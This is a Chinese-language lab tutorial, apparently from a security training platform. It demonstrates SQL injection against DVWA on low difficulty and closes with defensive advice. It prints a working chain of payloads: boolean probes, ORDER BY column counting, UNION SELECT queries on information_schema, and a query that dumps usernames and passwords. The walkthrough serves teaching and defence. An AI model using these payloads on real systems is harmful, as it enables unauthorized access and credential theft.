本文首發於“合天網安實驗室”
今天要介紹的是SQL注入實驗。SQL注入攻擊的學習,我們更多的目的是為了學習攻擊技術和防范策略,而不是刻意去攻擊數據庫。
首先我們先進入實驗地址實驗:SQL注入(合天網安實驗室)
SQL注入是一種代碼注入技術,過去常常用於攻擊數據驅動性的應用,實質就是將惡意的SQL代碼注入到特定字段用於實施拖庫攻擊等。SQL注入的成功必須借助應用程序的安全漏洞,例如用戶輸入沒有經過正確地過濾(針對某些特定字符串)或者沒有特別強調類型的時候,都容易造成異常地執行SQL語句。SQL注入是網站滲透中最常用的攻擊技術,但是其實SQL注入可以用來攻擊所有的SQL數據庫。以Sql注入產生的直接原因是拼湊SQL,絕大多數程序員在做開發的時候並不會去關注SQL最終是怎么去運行的,更不會去關注SQL執行的安全性,正是有了這種懶惰的程序員SQL注入一直沒有消失。這種漏洞不是不可以避免,只是程序員沒有這種安全意識。
對於注入漏洞來說,可能現在很多人認為它已經過時,因為這種漏洞可以被參數化查詢而杜絕。以前對這種漏洞的防御方式主要有三種:
字符串檢測:限定內容只能由英文、數字等常規字符,如果檢查到用戶輸入有特殊字符,直接拒絕。但缺點是,系統中不可避免地會有些內容包含特殊字符,這時候總不能拒絕入庫。
字符串替換:把危險字符替換成其他字符,缺點是危險字符可能有很多,一一枚舉替換相當麻煩,也可能有漏網之魚。
存儲過程:把參數傳到存儲過程進行處理,但並不是所有數據庫都支持存儲過程。如果存儲過程中執行的命令也是通過拼接字符串出來的,還是會有漏洞。
我們還是來實踐吧,這樣更好理解。
我們先看一下實驗的大致思路
(1)找注入並確認(經典的and 1=1 and1=2)
(2)查詢基本信息(數據庫類型、數據庫名、應用程序類型以及系統類型)
(3)查表名、字段名,拿到想查詢的內容
首先我們看一下源碼
這就是這一段sql查詢語句造成了最常見的SQL注入。我們繼續實驗,這次利用到了dvwa,我們登錄dvwa然后選擇SQL Injection 底下難度選擇low。



先進行sql注入的第一步測試是否存在sql注入漏洞。
ID等於1的時候可以正常回顯

And 1=1可以正常回顯

And 1=2返回錯誤

這里直接返回了首頁,和and 1=1返回的頁面不一樣。這里存在SQL注入。
為什么這樣就判斷有sql注入了呢?原理是把測試語句代入到了數據庫查詢,and就是邏輯運算,1=1為真,1=2為假,所以返回不同。
好我們接下來進行第二步判斷字段數,order by 2返回正常order by 3返回錯誤。

字段數已經判斷出來,下面如何進一步判斷數據庫名和用戶名等基本信息。
利用語句查詢知道有兩個字段,接着查詢數據庫名和用戶。
查詢數據庫等基本信息。
UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())

這是直接返回了數據庫的usr database version。我們知道數據庫的名字不就可以利用查詢語句找到表的名字。
查詢表段
union select 1,table_name from information_schema.tables where table_schema=0x64767761(數據庫的十六進制)

查詢列名
union select 1,column_name from information_schema.columns where table_name=0x7573657273(表的十六進制) and table_schema=0x64767761(數據庫的十六進制)

查詢用戶名密碼
union select password,user from users

這就把用戶名跟密碼爆出來了。
sql注入還不止這點,還有很多類型:
1)注入分為哪幾種類型?分類依據是什么?是否唯一?
2)普通注入和盲注的區別是什么?利用方法有什么不同?
本次的實驗就介紹到這里,注意多加總結和思考課后問題!我們學習的目的除了了解之外,更重要的是學習如何防范SQL注入。在面對SQL注入攻擊的時候,了解其原理才能更好的防范。
下面總結幾點防范SQL注入攻擊的要點:
1.永遠不要信任用戶的輸入,要對用戶的輸入進行校驗,可以通過正則表達式,或限制長度,對單引號和雙"-"進行轉換等。
2.永遠不要使用動態拼裝SQL,可以使用參數化的SQL或者直接使用存儲過程進行數據查詢存取。
3.永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
4.不要把機密信息明文存放,請加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝,把異常信息存放在獨立的表中。
這個技術你學會了嗎?加入網安實驗室,1300+網安技能任你學!
趕快復制鏈接注冊學習吧!登錄注冊-合天網安實驗室